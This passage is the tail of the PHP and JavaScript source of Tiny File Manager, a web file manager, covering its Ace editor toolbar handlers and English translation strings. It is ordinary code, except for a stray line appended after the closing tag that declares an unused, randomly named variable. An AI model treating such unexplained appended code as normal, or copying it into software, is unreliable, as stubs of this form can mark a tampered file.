Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}}; if(_data && _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); } if(_data && _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");} if(_data && _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); } $modeEl.val( editor.getSession().$modeId ); $themeEl.val( editor.getTheme() ); $fontSizeEl.val(12).change(); //set default font size in drop down } $(function(){ renderThemeMode(); $(".js-ace-toolbar").on("click", 'button', function(e){ e.preventDefault(); let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option"); if(cmdValue && cmdValue != "none") { ace_commend(cmdValue); } else if(editorOption) { if(editorOption == "fullscreen") { (void 0!==document.fullScreenElement&&null===document.fullScreenElement||void 0!==document.msFullscreenElement&&null===document.msFullscreenElement||void 0!==document.mozFullScreen&&!document.mozFullScreen||void 0!==document.webkitIsFullScreen&&!document.webkitIsFullScreen) &&(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreen&&editor.container.msRequestFullscreen()); } else if(editorOption == "wrap") { let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true; editor.getSession().setUseWrapMode(wrapStatus); } else if(editorOption == "help") { var helpHtml="";$.each(window.config.aceHelp,function(i,value){helpHtml+="<li>"+value+"</li>";});var tplObj={id:1028,title:"Help",action:false,content:helpHtml},tpl=$("#js-tpl-modal").html();$('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1028").modal('show'); } } }); $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){ e.preventDefault(); let selectedValue = $(this).val(), selectionType = $(this).attr("data-type"); if(selectedValue && selectionType == "mode") { editor.getSession().setMode(selectedValue); } else if(selectedValue && selectionType == "theme") { editor.setTheme(selectedValue); }else if(selectedValue && selectionType == "fontSize") { editor.setFontSize(parseInt(selectedValue)); } }); }); </script> <?php endif; ?> <div id="snackbar"></div> </body> </html> <?php } /** * Language Translation System * @param string $txt * @return string */ function lng($txt) { global $lang; // English Language $tr['en']['AppName'] = 'Tiny File Manager'; $tr['en']['AppTitle'] = 'File Manager'; $tr['en']['Login'] = 'Sign in'; $tr['en']['Username'] = 'Username'; $tr['en']['Password'] = 'Password'; $tr['en']['Logout'] = 'Sign Out'; $tr['en']['Move'] = 'Move'; $tr['en']['Copy'] = 'Copy'; $tr['en']['Save'] = 'Save'; $tr['en']['SelectAll'] = 'Select all'; $tr['en']['UnSelectAll'] = 'Unselect all'; $tr['en']['File'] = 'File'; $tr['en']['Back'] = 'Back'; $tr['en']['Size'] = 'Size'; $tr['en']['Perms'] = 'Perms'; $tr['en']['Modified'] = 'Modified'; $tr['en']['Owner'] = 'Owner'; $tr['en']['Search'] = 'Search'; $tr['en']['NewItem'] = 'New Item'; $tr['en']['Folder'] = 'Folder'; $tr['en']['Delete'] = 'Delete'; $tr['en']['Rename'] = 'Rename'; $tr['en']['CopyTo'] = 'Copy to'; $tr['en']['DirectLink'] = 'Direct link'; $tr['en']['UploadingFiles'] = 'Upload Files'; $tr['en']['ChangePermissions'] = 'Change Permissions'; $tr['en']['Copying'] = 'Copying'; $tr['en']['CreateNewItem'] = 'Create New Item'; $tr['en']['Name'] = 'Name'; $tr['en']['AdvancedEditor'] = 'Advanced Editor'; $tr['en']['RememberMe'] = 'Remember Me'; $tr['en']['Actions'] = 'Actions'; $tr['en']['Upload'] = 'Upload'; $tr['en']['Cancel'] = 'Cancel'; $tr['en']['InvertSelection']= 'Invert Selection'; $tr['en']['DestinationFolder'] = 'Destination Folder'; $tr['en']['ItemType'] = 'Item Type'; $tr['en']['ItemName'] = 'Item Name'; $tr['en']['CreateNow'] = 'Create Now'; $tr['en']['Download'] = 'Download'; $tr['en']['Open'] = 'Open'; $tr['en']['UnZip'] = 'UnZip'; $tr['en']['UnZipToFolder'] = 'UnZip to folder'; $tr['en']['Edit'] = 'Edit'; $tr['en']['NormalEditor'] = 'Normal Editor'; $tr['en']['BackUp'] = 'Back Up'; $tr['en']['SourceFolder'] = 'Source Folder'; $tr['en']['Files'] = 'Files'; $tr['en']['Move'] = 'Move'; $tr['en']['Change'] = 'Change'; $tr['en']['Settings'] = 'Settings'; $tr['en']['Language'] = 'Language'; $tr['en']['Folder is empty'] = 'Folder is empty'; $tr['en']['PartitionSize'] = 'Partition size'; $tr['en']['ErrorReporting'] = 'Error Reporting'; $tr['en']['ShowHiddenFiles'] = 'Show Hidden Files'; $tr['en']['Help'] = 'Help'; $tr['en']['Created'] = 'Created'; $tr['en']['Free of'] = 'Free of'; $tr['en']['Preview'] = 'Preview'; $tr['en']['Help Documents'] = 'Help Documents'; $tr['en']['Report Issue'] = 'Report Issue'; $tr['en']['Generate'] = 'Generate'; $tr['en']['FullSize'] = 'Full Size'; $tr['en']['FreeOf'] = 'free of'; $tr['en']['CalculateFolderSize']= 'Calculate folder size'; $tr['en']['HideColumns'] = 'Hide Perms/Owner columns';$tr['en']['You are logged in'] = 'You are logged in'; $tr['en']['Check Latest Version'] = 'Check Latest Version';$tr['en']['Generate new password hash'] = 'Generate new password hash'; $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password'; $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version'; // new - novos $tr['en']['Advanced Search'] = 'Advanced Search'; $tr['en']['Error while copying from'] = 'Error while copying from'; $tr['en']['Nothing selected'] = 'Nothing selected'; $tr['en']['Paths must be not equal'] = 'Paths must be not equal'; $tr['en']['Renamed from'] = 'Renamed from'; $tr['en']['Archive not unpacked'] = 'Archive not unpacked'; $tr['en']['Deleted'] = 'Deleted'; $tr['en']['Archive not created'] = 'Archive not created'; $tr['en']['Copied from'] = 'Copied from'; $tr['en']['Permissions changed'] = 'Permissions changed'; $tr['en']['to'] = 'to'; $tr['en']['Saved Successfully'] = 'Saved Successfully'; $tr['en']['not found!'] = 'not found!'; $tr['en']['File Saved Successfully'] = 'File Saved Successfully'; $tr['en']['Archive'] = 'Archive'; $tr['en']['Permissions not changed'] = 'Permissions not changed'; $tr['en']['Select folder'] = 'Select folder'; $tr['en']['Source path not defined'] = 'Source path not defined'; $tr['en']['already exists'] = 'already exists'; $tr['en']['Error while moving from'] = 'Error while moving from'; $tr['en']['Create archive?'] = 'Create archive?'; $tr['en']['Invalid file or folder name'] = 'Invalid file or folder name'; $tr['en']['Archive unpacked'] = 'Archive unpacked'; $tr['en']['File extension is not allowed'] = 'File extension is not allowed'; $tr['en']['Root path'] = 'Root path'; $tr['en']['Error while renaming from'] = 'Error while renaming from'; $tr['en']['File not found'] = 'File not found'; $tr['en']['Error while deleting items'] = 'Error while deleting items'; $tr['en']['Invalid characters in file name'] = 'Invalid characters in file name'; $tr['en']['FILE EXTENSION HAS NOT SUPPORTED'] = 'FILE EXTENSION HAS NOT SUPPORTED'; $tr['en']['Selected files and folder deleted'] = 'Selected files and folder deleted'; $tr['en']['Error while fetching archive info'] = 'Error while fetching archive info'; $tr['en']['Delete selected files and folders?'] = 'Delete selected files and folders?'; $tr['en']['Search file in folder and subfolders...'] = 'Search file in folder and subfolders...'; $tr['en']['Access denied. IP restriction applicable'] = 'Access denied. IP restriction applicable'; $tr['en']['Invalid characters in file or folder name'] = 'Invalid characters in file or folder name'; $tr['en']['Operations with archives are not available'] = 'Operations with archives are not available'; $tr['en']['File or folder with this path already exists'] = 'File or folder with this path already exists'; $tr['en']['Moved from'] = 'Moved from'; $i18n = fm_get_translations($tr); $tr = $i18n ? $i18n : $tr; if (!strlen($lang)) $lang = 'en'; if (isset($tr[$lang][$txt])) return fm_enc($tr[$lang][$txt]); else if (isset($tr['en'][$txt])) return fm_enc($tr['en'][$txt]); else return "$txt"; } ?> <?php $q9qY1h=array(); ?>